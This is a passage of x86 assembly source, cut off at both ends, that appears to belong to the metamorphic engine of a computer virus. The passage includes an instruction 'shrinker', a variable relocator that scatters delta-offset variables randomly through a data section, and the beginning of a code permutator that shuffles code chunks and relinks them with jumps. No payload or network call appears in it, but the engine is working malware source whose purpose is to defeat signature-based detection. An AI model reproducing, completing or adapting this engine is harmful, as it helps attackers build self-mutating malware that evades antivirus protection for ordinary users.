Reg,Reg + Jcc @xxx? jb @@Double_End cmp eax, 7Fh ja @@Double_End mov al, [esi+1] mov ebx, eax ; If source and destiny in CMP aren't mov al, [esi+7] ; the same, it's not a camuflated JMP cmp eax, ebx jnz @@Double_End mov eax, [edi] ; Check flags when we jump for sure and eax, 07h ; and when the two instructions do cmp eax, 1 ; nothing. jz @@Double_Next32_JMP cmp eax, 6 jz @@Double_Next32_JMP mov eax, [edi] and eax, 0Fh cmp eax, 2 jbe @@Double_Next32_NOP cmp eax, 4 jbe @@Double_Next32_JMP cmp eax, 0Ah jz @@Double_Next32_JMP cmp eax, 0Dh jz @@Double_Next32_JMP @@Double_Next32_NOP: mov eax, 0FFh ; Set NOP in JO,JB,JNZ,JA,JS,JNP,JL,JG mov [edi], eax jmp @@EndCompressed @@Double_Next32_JMP: mov eax, 0E9h ; Set JMP in JNO,JAE,JZ,JBE,JNS,JP,JGE,JLE mov [edi], al mov edx, edi ; After the jump, we eliminate all the instructions until the next labelled ; instruction. That instructions are never executed, so we NOP them to avoid ; its reassembly. @@Double_Next32_EliminateNonReachableCode: add edx, 10h cmp edx, [ebp+AddressOfLastInstruction] jae @@EndCompressed mov al, [edx+0Bh] ; Check label mark or eax, eax jnz @@EndCompressed mov eax, 0FFh mov [edx], eax jmp @@Double_Next32_EliminateNonReachableCode @@Double_Next33: cmp eax, 39h+80h ; Do the same with CMP Reg8,Reg8 jz @@Double_Next32_Common @@Double_End: ;; Here we check triplets of instructions and merge them into one. @@Check_Triple: mov edx, esi mov esi, edi call IncreaseEIP cmp edi, [ebp+AddressOfLastInstruction] jz @@EndNoCompressed xor eax, eax mov al, [edi+0Bh] or eax, eax jnz @@EndNoCompressed ; No compress if a label is pointing ; the last instruction ; Check triplet in [edx],[esi],[edi] @@Triple_Next00: ;xor eax, eax mov al, [edx] cmp eax, 43h ; MOV Mem,Reg? jnz @@Triple_Next01 mov eax, [edx+1] ; Check mem operands cmp eax, [esi+1] jnz @@Triple_Next01 mov eax, [edx+3] cmp eax, [esi+3] jnz @@Triple_Next01 mov eax, [edi] cmp al, 42h ; 3rd instruction == MOV Reg,Mem? jz @@Triple_Next00_Constr00 cmp al, 70h ; 3rd instr. == Jcc? jb @@Triple_Next01 cmp al, 7Fh ja @@Triple_Next01 mov eax, [esi] and eax, 0F8h ; Get the comparision or eax, eax jz @@Triple_Next00_Maybe01 cmp eax, 28h ; SUB? jz @@Triple_Next00_Maybe01 cmp eax, 38h ; CMP? jz @@Triple_Next00_Maybe01 cmp eax, 48h ; TEST? jz @@Triple_Next00_Maybe01 cmp eax, 20h ; AND? jnz @@Triple_End @@Triple_Next00_Maybe01: xor ebx, ebx @@Triple_Next00_CheckCMPTEST: mov eax, [esi] ; Get the operation being performed and eax, 07Fh cmp eax, 48h ; If test, jump jb @@Triple_Next00_CheckCMPTEST_00 and eax, 7 cmp eax, 2 ; Check if it's OP Reg,Mem jz @@Triple_Next00_CMPTESTRegReg jmp @@Triple_Next00_CheckCMPTEST_01 @@Triple_Next00_CheckCMPTEST_00: and eax, 7 cmp eax, 3 ; Check if it's OP Mem,Reg jz @@Triple_Next00_CMPTESTRegReg @@Triple_Next00_CheckCMPTEST_01: cmp eax, 4 ; Check if it's OP Mem,Imm jnz @@Triple_End @@Triple_Next00_CMPTESTRegImm: mov eax, [edx+7] mov [esi+1], al ; Set CMP/TEST Reg,Imm ; xor ebx, ebx @@Triple_Next00_SET_CMPTEST: mov eax, [esi] and eax, 78h cmp eax, 48h ; Check TEST jz @@Triple_Next00_SetInstruction cmp eax, 20h ; Check AND jz @@Triple_Next00_Cont80 cmp eax, 38h ; Check CMP jz @@Triple_Next00_SetInstruction or eax, eax ; Check ADD (maybe is a conversion jz @@Triple_Next00_NegateImm ; of SUB Reg,Imm) @@Triple_Next00_SetCMP: mov eax, 38h ; Set CMP if it's SUB/CMP jmp @@Triple_Next00_SetInstruction @@Triple_Next00_NegateImm: mov eax, [esi+7] neg eax ; If it's ADD is because I converted the mov [esi+7], eax ; SUB as a single instruction before jmp @@Triple_Next00_SetCMP @@Triple_Next00_Cont80: mov eax, 48h ; Set TEST if it's TEST/AND @@Triple_Next00_SetInstruction: add eax, ebx mov [esi], al mov eax, 0FFh mov [edx], al jmp @@EndCompressed @@Triple_Next00_CMPTESTRegReg: mov eax, [esi] and eax, 78h or eax, eax ; ADD? jz @@Triple_End ; If so, finish mov eax, [esi+7] mov [esi+1], al mov eax, [edx+7] mov [esi+7], al add ebx, 1 jmp @@Triple_Next00_SET_CMPTEST @@Triple_Next00_Constr00: mov eax, [esi] cmp al, 4Ch ; Common OP? ja @@Triple_Next01 xor ebx, ebx @@Triple_Next00_Common: mov eax, [esi] and eax, 78h ; Get instruction cmp eax, 48h ; If it's not TEST, finish jb @@Triple_Next00_Common_00 mov eax, [esi] and eax, 7 cmp eax, 2 ; Check TEST Reg,Mem jz @@Triple_Next00_Maybe00 jmp @@Triple_Next00_Common_01 @@Triple_Next00_Common_00: mov eax, [esi] and al, 7 cmp al, 3 ; Check OP Mem,Reg jz @@Triple_Next00_Maybe00 @@Triple_Next00_Common_01: cmp al, 4 ; Check OP Mem,Imm jnz @@Triple_End @@Triple_Next00_Maybe00: mov eax, [edx+1] ; Check the Mem operand among the cmp eax, [esi+1] ; instructions jnz @@Triple_End cmp eax, [edi+1] jnz @@Triple_End mov eax, [edx+3] cmp eax, [esi+3] jnz @@Triple_End cmp eax, [edi+3] jnz @@Triple_End mov eax, [edx+7] cmp al, [edi+7] jnz @@Triple_End mov eax, [esi] and eax, 78h cmp eax, 48h ; Get if it's TEST jb @@Triple_Next00_00 mov eax, [esi] and eax, 7 ; Check TEST Reg,Mem cmp eax, 2 jz @@Triple_Next00_Maybe_OPRegReg ; Jump here if it is jmp @@Triple_Next00_01 @@Triple_Next00_00: mov eax, [esi] and eax, 7 ; Check OP Mem,Reg cmp eax, 3 jz @@Triple_Next00_Maybe_OPRegReg @@Triple_Next00_01: mov eax, [edx+7] mov [edx+1], al mov eax, [esi+7] mov [edx+7], eax mov eax, [esi] and eax, 78h add eax, ebx ; Set the instruction with the EBX @@Triple_Next_SetInstruction: ; operands type (Reg,Imm, Reg,Reg, etc.) mov [edx], al @@Triple_Next_SetNOP: mov eax, 0FFh mov [esi], al mov [edi], al ; Eliminate the 2nd and 3rd instruction jmp @@EndCompressed @@Triple_Next00_Maybe_OPRegReg: mov eax, [esi+7] mov [edx+1], eax mov eax, [edi+7] mov [edx+7], eax mov eax, [esi] and eax, 0F8h ; Set CMP/TEST Reg,Reg add eax, 1 jmp @@Triple_Next_SetInstruction @@Triple_Next01: mov eax, [edx] cmp al, 43h+80h ; Check the same as above, but this jnz @@Triple_Next02 ; time with 8 bits instructions. Since mov eax, [edx+1] ; there are many different opcodes, cmp eax, [esi+1] ; it's not worthy to try to merge it jnz @@Triple_Next02 ; with the routine above, but all the mov eax, [edx+3] ; others that check the possibility of cmp eax, [esi+3] ; compression are from there, linking jnz @@Triple_Next02 ; the possibilities with Jccs. mov eax, [edi] cmp al, 42h+80h jz @@Triple_Next01_Constr00 cmp al, 70h jb @@Triple_Next02 cmp al, 7Fh ja @@Triple_Next02 mov eax, [esi] and eax, 0F8h cmp eax, 00h+80h jz @@Triple_Next01_Maybe01 cmp eax, 28h+80h jz @@Triple_Next01_Maybe01 cmp eax, 38h+80h jz @@Triple_Next01_Maybe01 cmp eax, 48h+80h jz @@Triple_Next01_Maybe01 cmp eax, 20h+80h jnz @@Triple_End @@Triple_Next01_Maybe01: mov ebx, 80h jmp @@Triple_Next00_CheckCMPTEST @@Triple_Next01_Constr00: mov ebx, 80h mov eax, [esi] cmp al, 4Ch+80h ja @@Triple_Next02 ; Well, at least we achieved to cmp al, 00h+80h ; use as many instructions from the jae @@Triple_Next00_Common ; @@Triple_Next00 as we can :) @@Triple_Next02: mov eax, [edx] cmp al, 4Fh ; MOV Mem,Mem? jnz @@Triple_Next03 mov eax, [edi] cmp al, 70h ; Jcc in 3rd? jb @@Triple_Next02_ContCheck cmp al, 7Fh ja @@Triple_Next02_ContCheck mov ebx, [edx+7] ; Get the destiny address and check mov eax, [ebx+1] ; if first and second instruction cmp eax, [esi+1] ; use the same operand. jnz @@Triple_End mov eax, [ebx+3] cmp eax, [esi+3] jnz @@Triple_End mov eax, [esi] and eax, 78h ; Check for comparisions: cmp eax, 20h ; AND? jz @@Triple_Next02_CheckCMPTESTMemReg cmp eax, 28h ; SUB? jz @@Triple_Next02_CheckCMPTESTMemReg cmp eax, 38h ; CMP? jz @@Triple_Next02_CheckCMPTESTMemReg cmp eax, 48h ; TEST? jnz @@Triple_Next03 @@Triple_Next02_CheckCMPTESTRegMem: @@Triple_Next02_CheckCMPTESTMemReg: mov eax, [edx+1] mov [esi+1], eax mov eax, [edx+3] mov [esi+3], eax mov eax, 0FFh mov [edx], eax mov eax, [esi] and eax, 78h cmp eax, 38h ; CMP? jz @@EndCompressed cmp eax, 48h ; TEST? jz @@EndCompressed cmp eax, 20h ; AND? jz @@Triple_Next02_SetTEST mov ebx, 10h ; Transform from SUB to CMP @@Triple_Next02_ConvertInstruction: mov eax, [esi] ; Set the instruction add eax, ebx mov [esi], eax jmp @@EndCompressed @@Triple_Next02_SetTEST: mov ebx, 28h ; Transform from AND to TEST jmp @@Triple_Next02_ConvertInstruction @@Triple_Next02_ContCheck: ;mov al, [edi] cmp al, 4Fh ; Check the 3rd instruction for a jnz @@Triple_Next03 ; common operation mov eax, [esi] cmp al, 4Ch ; Check now the 2nd instruction jbe @@Triple_Next02_CommonOperation cmp al, 00h+80h ; Check if it's 8 bits instructions jb @@Triple_Next03 cmp al, 4Ch+80h ja @@Triple_Next03 @@Triple_Next02_CommonOperation: cmp eax, 0F6h ; Check for APICALL_STORE jz @@Triple_Next02_OPMemReg and eax, 78h cmp eax, 48h ; Check for a common instruction jb @@Triple_Next02_00 mov eax, [esi] and eax, 7 cmp eax, 2 ; Check if it's OP Reg,Mem in 2nd jz @@Triple_Next02_OPMemReg jmp @@Triple_Next02_01 @@Triple_Next02_00: mov eax, [esi] and eax, 7 cmp eax, 3 ; Check if it's OP Mem,Reg in 2nd jz @@Triple_Next02_OPMemReg @@Triple_Next02_01: cmp eax, 4 ; OP Mem,Imm? jnz @@Triple_End @@Triple_Next02_OPMemImm: @@Triple_Next02_OPMemReg: mov ebx, [edx+7] mov eax, [ebx+1] cmp eax, [edi+1] ; Check Mem operands to see if the jnz @@Triple_End ; instructions use the same one (if cmp eax, [esi+1] ; not, we can't compress them, jnz @@Triple_End ; obviously) mov eax, [ebx+3] cmp eax, [edi+3] jnz @@Triple_End cmp eax, [esi+3] jnz @@Triple_End mov ebx, [edi+7] mov eax, [ebx+1] cmp eax, [edx+1] jnz @@Triple_End mov eax, [ebx+3] cmp eax, [edx+3] jnz @@Triple_End mov eax, [edx+1] ; Set the new Mem operand mov [esi+1], eax mov eax, [edx+3] mov [esi+3], eax @@Triple_Next_SetNOP_1_3: mov eax, 0FFh mov [edx], al mov [edi], al ; Overwrite with NOP the first and jmp @@EndCompressed ; third instruction, since we used ; the second one to put the new ; instruction. @@Triple_Next03: mov eax, [edx] cmp al, 44h ; Check for MOV Mem,Imm jnz @@Triple_Next04 mov eax, [edi] cmp al, 42h ; MOV Mem,Imm + xxx + MOV Reg,Mem? jz @@Triple_Next03_Constr00 cmp al, 70h ; Jcc in 3rd? jb @@Triple_Next04 cmp al, 7Fh ja @@Triple_Next04 mov eax, [esi] @@Triple_Next03_Check_CMP_TEST: cmp al, 3Ah ; CMP Reg,Mem (8 or 32 bits) jz @@Triple_Next03_CMPRegImm cmp al, 4Ah ; TEST Reg,Mem (" " " ") jnz @@Triple_End @@Triple_Next03_CMPRegImm: @@Triple_Next03_TESTRegImm: mov eax, [esi] ; Get 2nd instruction and eax, 0F8h ; Convert it to OP Reg,Imm mov [edx], al ; Set it at 1st instruction mov eax, [esi+7] mov [edx+1], al mov eax, 0FFh mov [esi], al jmp @@EndCompressed @@Triple_Next03_Constr00: mov eax, [esi] cmp eax, 0F6h ; Check if it's APICALL_STORE jz @@Triple_Next03_Common_F6 cmp al, 4Ch ; Check if it's a common operation ja @@Triple_Next04 @@Triple_Next03_Common: and eax, 78h cmp eax, 48h ; Common operation? jb @@Triple_Next03_00 mov eax, [esi] and eax, 7 cmp eax, 2 ; Check if it's OP Reg,Mem jz @@Triple_Next03_Common_F6 jmp @@Triple_End @@Triple_Next03_00: mov eax, [esi] and eax, 7 cmp eax, 3 ; OP Mem,Reg? jnz @@Triple_End @@Triple_Next03_Common_F6: mov eax, [edx+1] ; If the Mem operands are the same, cmp eax, [esi+1] ; merge them jnz @@Triple_End cmp eax, [edi+1] jnz @@Triple_End mov eax, [edx+3] cmp eax, [esi+3] jnz @@Triple_End cmp eax, [edi+3] jnz @@Triple_End mov eax, [esi+7] mov [edx+1], eax mov eax, [esi] and eax, 0F8h jmp @@Triple_Next_SetInstruction @@Triple_Next04: mov eax, [edx] cmp al, 44h+80h ; Same as above, but 8 bits instructs. jnz @@Triple__Next04 mov eax, [edi] cmp al, 42h+80h jz @@Triple_Next04_Constr00 cmp al, 70h jb @@Triple__Next04 cmp al, 7Fh ja @@Triple__Next04 mov eax, [esi] sub al, 80h jmp @@Triple_Next03_Check_CMP_TEST @@Triple_Next04_Constr00: mov eax, [esi] cmp al, 00h+80h jb @@Triple__Next04 cmp al, 4Ch+80h jbe @@Triple_Next03_Common @@Triple__Next04: @@Triple_End: jmp @@EndNoCompressed ; If we didn't found any single, ; pair or triplet, end with flag of @@EndCompressed: ; "not found" mov eax, 1 pop edi ret @@EndNoCompressed: xor eax, eax pop edi ret ShrinkThisInstructions endp ;; This routine checks if the pseudoopcode passed uses a memory operand, ;; returning EAX = 1 if uses it, or 0 if it doesn't CheckIfInstructionUsesMem proc cmp eax, 4Eh ; Common op? jbe @@Common cmp eax, 4Fh ; MOV Mem,Mem --> return TRUE jz @@UsesMem cmp eax, 70h ; If 50/51/58/59 --> return bit 0 jb @@CheckLastBit cmp eax, 80h ; Common 8 bits operations? jb @@NoMem cmp eax, 0CEh jbe @@Common cmp eax, 0E7h ; From E0 to E7 (NOT/NEG) -> return bit 0 jbe @@CheckLastBit cmp eax, 0EAh ; CALL Mem? jz @@UsesMem cmp eax, 0EBh ; JMP Mem? jz @@UsesMem cmp eax, 0F1h ; SHIFT Mem? jz @@UsesMem cmp eax, 0F3h ; SHIFT Mem8? jz @@UsesMem cmp eax, 0F6h ; APICALL_STORE? jz @@UsesMem cmp eax, 0F7h jz @@UsesMem cmp eax, 0F8h ; MOVZX Reg,byte ptr [Mem]? jz @@UsesMem cmp eax, 0FCh ; LEA? jz @@UsesMem @@NoMem: xor eax, eax ; Return FALSE ret @@CheckLastBit: and eax, 1 ; Return bit 0 ret @@Common: cmp eax, 4Eh ; Temporal info-transferring opcode jz @@UsesMem and eax, 7 cmp eax, 2 jb @@NoMem cmp eax, 4 ; OP Reg,Mem / OP Mem,Reg / OP Mem,Imm? ja @@NoMem ; If not, return FALSE @@UsesMem: mov eax, 1 ret CheckIfInstructionUsesMem endp ;; This function merges the Imms passed in ECX and EDX depending on the ;; operations passed in EBX and EAX. The return values are the result of ;; merging the operations. For example, if we pass MOV EAX,1234 / ADD EAX,5 ;; then the returned operation will be MOV EAX,1239. It's also made for ;; ADD + ADD/SUB and many more. If the operation can't be joined then the ;; return value is 0FEh. If there are no merging, but the first instruction ;; does nothing (for example, ADD EAX,1234 / MOV EAX,5 --> MOV EAX,5) then ;; the return value is NOP. ; In: ;; ECX = First Imm ;; EDX = 2nd Imm ;; EAX = First OP ;; EBX = 2nd OP (in lower 8 bits) ; Out: ;; ECX = Value to OP ;; EAX = OP to perform ;; FEh if it isn't shrinkable. ;; FFh if we must eliminate 1st instruction and leave 2nd invariable. CalculateOperation proc ;; ADC & SBB aren't treated since they aren't used by the engine. and ebx, 0FFh and eax, 0FFh cmp ebx, 40h ; If 2nd instruction is MOV, eliminate 1st jz @@Eliminate1st cmp eax, 40h ; First instruction == MOV? jz @@MOV ; Then, do the merge or eax, eax ; ADD? jz @@ADD cmp eax, 8 ; OR? jz @@OR cmp eax, 20h ; AND? jz @@AND cmp eax, 28h ; SUB? jz @@SUB cmp eax, 30h ; XOR? jz @@XOR cmp eax, 38h ; CMP jz @@Eliminate1st cmp eax, 48h ; TEST jnz @@Eliminate1st jmp @@NoCompression ; Check a merging with the ADD as first instruction @@ADD: or ebx, ebx ; 2nd instr. ADD? jz @@ADD_ADD ; Then, merge cmp ebx, 28h ; 2nd instr. SUB? jz @@ADD_SUB ; Then, merge jmp @@NoCompression ; Exit with no compression ; Try the merging with OR @@OR: cmp ebx, 8 ; 2nd instruction == OR? jz @@OR_OR ; Merge OR / OR jmp @@NoCompression ; Exit with no compression @@AND: cmp ebx, 20h ; Check AND / AND jz @@AND_AND ; If it is, merge ANDs jmp @@NoCompression ; Exit with no compression @@SUB: or ebx, ebx ; Check SUB / ADD or SUB / SUB jz @@SUB_ADD cmp ebx, 28h jnz @@NoCompression ; Exit with no compression @@SUB_SUB: neg ecx ; Merge the SUBs into a single operation: sub ecx, edx ; -(1st) - 2nd = ADD Imm xor eax, eax ret @@SUB_ADD: sub edx, ecx ; 2nd - 1st = ADD Imm mov ecx, edx xor eax, eax ret @@XOR: cmp ebx, 30h ; XOR / XOR? jz @@XOR_XOR ; Then merge XORs jmp @@NoCompression ; If it's not XOR, don't merge @@MOV: or ebx, ebx ; MOV / ADD? jz @@MOV_ADD cmp ebx, 8 ; MOV / OR? jz @@MOV_OR cmp ebx, 20h ; MOV / AND? jz @@MOV_AND cmp ebx, 28h ; MOV / SUB? jz @@MOV_SUB cmp ebx, 30h ; MOV / XOR? jz @@MOV_XOR @@NoCompression: mov eax, 0FEh ; Set "no compression" return value ret @@Eliminate1st: mov eax, 0FFh ; Set NOP to first instruction (and leave the ret ; second instruction untouched) @@ADD_ADD: @@MOV_ADD: add ecx, edx ; MOV + ADD or ADD + ADD = Add both Imms ret @@OR_OR: ; MOV + OR or OR + OR = OR both Imms @@MOV_OR: or ecx, edx ret @@AND_AND: ; MOV + AND or AND + AND = AND both Imms @@MOV_AND: and ecx, edx ret @@ADD_SUB: ; MOV + SUB or ADD + SUB = SUB 2nd Imm from @@MOV_SUB: sub ecx, edx ; first Imm ret @@XOR_XOR: ; MOV + XOR or XOR + XOR = XOR both Imms @@MOV_XOR: xor ecx, edx ret CalculateOperation endp ;; This function merges two flag checks (like JNZ/JA, for example) to get a ;; direct check to use in a conditional jump. ;; In: ;; EAX = Flag to check 1 ;; EBX = Flag to check 2 ;; Out: ;; EAX = Direct flag (+70h = 7xh, opcode of Jcc) ;; = 79h if unconditional jump is performed (+70h = E9h, opcode of JMP) ;; = 0FFh if no direct flag can be used ;; This function only tests the flags that are coded by this engine (not all ;; the possible types). ;; ;; Checks can be merged as: ;; ;; X(even) + X+1 = JMP(unconditional) ;; NB(3) + E(4) = NB(3) ;; NB(3) + A(7) = NB(3) ;; E(4) + A(7) = NB(3) ;; ;; B(2) + A(7) = NE(5) ;; B(2) + NE(5) = NE (5) ;; NE(5) + A(7) = NE(5) ;; ;; B(2) + E(4) = BE(6) ;; B(2) + BE(6) = BE(6) ;; E(4) + BE(6) = BE(6) ;; ;; NB(3) + BE(6) = JMP(unconditional) ;; NE(5) + BE(6) = JMP (unconditional) GetRealCheck proc cmp eax, ebx jb @@1 mov ecx, ebx mov edx, eax jmp @@2 @@1: mov ecx, eax mov edx, ebx @@2: test ecx, 1 ; ECX <= EDX jnz @@NoUnconditional sub edx, 1 ; If Jcc1 == 7x and Jcc2 == 7x+1, it's an cmp ecx, edx ; unconditional JMP (for example, jz @@UnconditionalJump ; opcodes 74h/75h (JZ/JNZ), etc. add edx, 1 @@NoUnconditional: cmp ecx, edx ; If Jcc1 == Jcc2, the result is the same Jcc jz @@ReturnCurrent cmp ecx, 2 ; JB? jz @@Check2_x cmp ecx, 3 ; JAE? jz @@Check3_x cmp ecx, 4 ; JZ? jz @@Check4_x cmp ecx, 5 ; JNZ? jnz @@NoOption ;; Check merge with JNZ @@Check5_x: cmp edx, 7 ; JNZ + JA? jz @@SetNE ; Then, set JNZ cmp edx, 6 ; JNZ + JBE? jz @@UnconditionalJump ; Then, set JMP (unconditional) jmp @@NoOption ; If there isn't any of these options, it ; can't be compressed ;; Check merge with JB @@Check2_x: cmp edx, 4 ; If 2nd < 4, it can't be compressed jb @@NoOption cmp edx, 7 ; If 2nd > 7, it can't be compressed ja @@NoOption test edx, 1 ; JB + JNZ/JA = JNZ jnz @@SetNE jmp @@SetBE ; JB + JZ/JBE = JBE ;; Check merge with JAE @@Check3_x: cmp edx, 4 ; JAE + JZ = JAE jz @@SetNB cmp edx, 7 ; JAE + JA = JAE jz @@SetNB cmp edx, 6 ; JAE + JBE = JMP jz @@UnconditionalJump jmp @@NoOption ; Others can't be compressed ;; Check merge with JZ @@Check4_x: cmp edx, 6 ; JZ + JBE = JBE jz @@SetBE cmp edx, 7 ; JZ + JA = JAE/JNB jnz @@NoOption ; jmp @@SetNB @@SetNB: mov eax, 3 ; Set JAE ret @@SetNE: mov eax, 5 ; Set JNZ ret @@SetBE: mov eax, 6 ; Set JBE ret @@NoOption: mov eax, 0FFh ; Set "no compression" @@ReturnCurrent: ret @@UnconditionalJump: mov eax, 79h ; Set JMP ret GetRealCheck endp ;; ;; ;; End of shrinker ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; KEYWORD: Key_!VarIdent ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ********************************************************************** ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; The variable identificator ;; -------------------------- ;; ;; Little function that substitutes all the variables referenced along the ;; code by pointers to a table. These pointers will allow later the ;; repositioning of all the variables that are used by the whole code. It's ;; much like the label tables for displacement instructions, but this time ;; for variable referencing. ;; ;; The variables are identified by using the function from the shrinker ;; CheckIfInstructionUsesMem() (which returns EAX true or false) and when ;; the variable only has DeltaRegister as the index. ;; ;; ;; ECX = Delta offset register (must be known) ;; [VariableTable] = Address of buffer to store variables ;; [NumberOfVariables] = Place to store the number of variables ;; IdentifyVariables proc mov esi, [ebp+InstructionTable] mov edi, [ebp+VariableTable] xor eax, eax mov [ebp+NumberOfVariables], eax ; Initialization @@LoopGetVar: xor eax, eax ; Get the instruction mov al, [esi] ; Check if it's LEA cmp eax, 0FCh ; If it is, don't take it in account jz @@NextInstruction call CheckIfInstructionUsesMem ; Get the usage of Mem by ; this instruction. or eax, eax ; EAX = 0? jz @@NextInstruction ; Then, it doesn't mov al, [esi+1] ; Get first index cmp eax, ecx ; Delta register? jz @@DeltaOffsetAt1 ; If it's, jump mov al, [esi+2] ; Get the second index cmp eax, ecx ; Delta register? jz @@DeltaOffsetAt2 ; If it's, jump @@NextInstruction: add esi, 10h ; Next instruction cmp esi, [ebp+AddressOfLastInstruction] ; Last instr.? jnz @@LoopGetVar ; If not, jump jmp @@SelectNewVariables ; Jump to regarble the variables. @@DeltaOffsetAt1: mov al, [esi+2] ; Get the index where the Delta jmp @@Continue_01 ; register wasn't @@DeltaOffsetAt2: mov al, [esi+1] @@Continue_01: cmp eax, 8 ; Is it another index? jnz @@NextInstruction ; If it is, don't change it. mov eax, [esi+3] ; Get addition. mov edx, [ebp+VariableTable] ; Get the variable table mov ebx, [ebp+NumberOfVariables] ; Get the counter of ; variables. sub eax, [ebp+_DATA_SECTION] ; Get the offset inside the and eax, 0FFFFFFF8h ; data_section @@LookForVariable: or ebx, ebx ; If we haven't found the variable jz @@InsertVariable ; already inserted, insert it cmp eax, [edx] ; Check if it exists jz @@VariableExists ; If exists, jump add edx, 4 ; Check next variable sub ebx, 4 jmp @@LookForVariable @@InsertVariable: ; Insert the variable in the table mov [edx], eax ; and use EDX as the new variable mov eax, [ebp+NumberOfVariables] ; entry add eax, 4 mov [ebp+NumberOfVariables], eax @@VariableExists: mov eax, 00000809h ; Set the index 9, which means mov [esi+1], eax ; "variable identifier". mov [esi+3], edx ; Variable address at table jmp @@NextInstruction @@SelectNewVariables: mov ecx, 20000h / 4 ; Initialize the table of marks mov edi, [ebp+VarMarksTable] ; for variables. This helps xor eax, eax ; us to select new variables. @@LoopInitializeMarks: mov [edi], eax ; Initialize with 0s all the table add edi, 4 sub ecx, 1 or ecx, ecx jnz @@LoopInitializeMarks ;; Now what we are going to do is to get all the variables from the variable ;; table and select a new offset inside the DATA_SECTION for every one. In ;; this way the variables never point to the same place nor have a proportion ;; between them. mov ecx, [ebp+NumberOfVariables] ; Get the table in EBX, mov ebx, [ebp+VariableTable] ; ECX = number of entries @@LoopGetNewVar: call Random ; Select a new position and eax, 01FFF8h add eax, [ebp+VarMarksTable] ; Get the mark of the var. mov edx, [eax] ; Is that address already reserved? or edx, edx jnz @@LoopGetNewVar ; If it is, select another one mov edx, 1 ; Reserve that variable to avoid the mov [eax], edx ; reselection of the offset sub eax, [ebp+VarMarksTable] push ebx ; Get the offset inside DATA_SECTION mov ebx, eax call Random ; Add a random from 0 to 3 and eax, 3 add eax, ebx pop ebx mov [ebx], eax ; Set the new address of the variable add ebx, 4 sub ecx, 4 ; Next variable or ecx, ecx ; Have we reached the end? jnz @@LoopGetNewVar ; If not, loop again ret ; Return IdentifyVariables endp ;; ;; ;; End of variable identificator ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; KEYWORD: Key_!Permutator ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ********************************************************************** ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; The permutator ;;--------------- ;; ;; The code here will divide in chunks of code all the disassembled made ;; before, and then linked with jumps. All the labels are also fixed, so ;; the returned permutation could be reassembled without problems. ;; ;; First, the table is generated, then shuffled and after that used to copy ;; the instructions in the order the table says. The table will be generated ;; taking the first instruction address as the beginning of the frame ;; generator, and then creating pairs of "beginnings" and "ends" of portions, ;; for example: x000-x020h, x020h-x070h, x070h-x140h, etc. ;; ;; We keep in every shuffle loop the situation of the first chunk of code, ;; since it's the entrypoint. Moreover, when making the portions we scan for ;; some specific instructions that it's better to not fragment (for example, ;; CALL [API_Address] and APICALL_STORE). ;; PermutateCode proc xor eax, eax mov [ebp+NumberOfJumps], eax ; Initialize this mov edi, [ebp+FramesTable] mov ecx, [ebp+AddressOfLastInstruction] mov eax, [ebp+InstructionTable] mov esi, eax sub ecx, eax ; Number of instructions * 10h @@NextFrame: call Random ; Get a random number between F0h and 1E0h and eax, 0F0h add eax, 0F0h mov [edi], esi ; Set the beginning of the first frame add esi, eax mov [edi+4], esi ; Set the end as beginning+the random mov ebx, esi @@LoopCheckInst00: sub ebx, 10h ; Get the last instruction cmp ebx, [edi] ; If we meet the first instruction, stop jz @@CheckInst_Next00 mov edx, [ebx] ; Get the pseudoopcode and edx, 0FFh cmp edx, 0FFh ; Is it NOP? jz @@LoopCheckInst00 ; Then decrease again (ignore it) cmp edx, 0EAh ; API CALL? jnz @@CheckInst_Next00 ; If not, finish @@LoopCheckInst01: add ebx, 10h ; Get the next address cmp ebx, [ebp+AddressOfLastInstruction] ; If it's the last jz @@CheckInst_Next00 ; instruction, finish mov edx, [ebx] ; Get the opcopde and edx, 0FFh cmp edx, 0FFh ; NOP? jz @@LoopCheckInst01 ; If NOP, loop again cmp edx, 0F6h ; Check for APICALL_STORE jnz @@CheckInst_Next00 ; If it isn't, continue add ebx, 10h ; Include APICALL_STORE in the frame sub ebx, esi add eax, ebx add esi, ebx mov [edi+4], esi @@CheckInst_Next00: mov ebx, esi ; Get the address of the last jmp @@DontAdd10hYet ; instruction of the frame and jump @@LoopCheckInst02: add ebx, 10h ; Next instruction @@DontAdd10hYet: cmp ebx, [ebp+AddressOfLastInstruction] ; If it's the last jz @@CheckInst_Next01 ; instruction, finish loop mov edx, [ebx] and edx, 0FFh cmp edx, 0FFh ; NOP? jz @@LoopCheckInst02 ; If NOP, get the next instruction cmp edx, 0E9h ; JMP? jz @@CheckInst_IncludeInstruction cmp edx, 0FEh ; RET? jz @@CheckInst_IncludeInstruction cmp edx, 0EBh ; JMP Mem? jz @@CheckInst_IncludeInstruction cmp edx, 0EDh ; JMP Reg? jz @@CheckInst_IncludeInstruction cmp edx, 70h ; Jcc? jb @@CheckInst_Next01 cmp edx, 7Fh ja @@CheckInst_Next01 ;; Include the next instructions in the same frame: ;; JMP: Include it to avoid strange situations where Jcc + JMP cannot be ;; compressed and then never eliminated (or something like that) ;; (3D problems :) ;; RET: The same: we avoid situations where a single RET is pointed by a ;; jump. ;; JMP Mem: Same as RET. ;; JMP Reg: Same as RET. ;; Jcc: To avoid unlinking it from its CMP/TEST from before, and then making ;; the shrinker to eliminate a single CMP/TEST. @@CheckInst_IncludeInstruction: add ebx, 10h ; Add instructions to the frame until all push ebx ; the conflictive instructions are inserted sub ebx, esi ; in the same frame. The others don't add eax, ebx ; matter if they are wherever we want. add esi, ebx mov [edi+4], esi pop ebx jmp @@DontAdd10hYet @@CheckInst_Next01: add edi, 8 ; Increase the frame pointer sub ecx, eax cmp ecx, 01E0h ; Are we inside our last instructions? jae 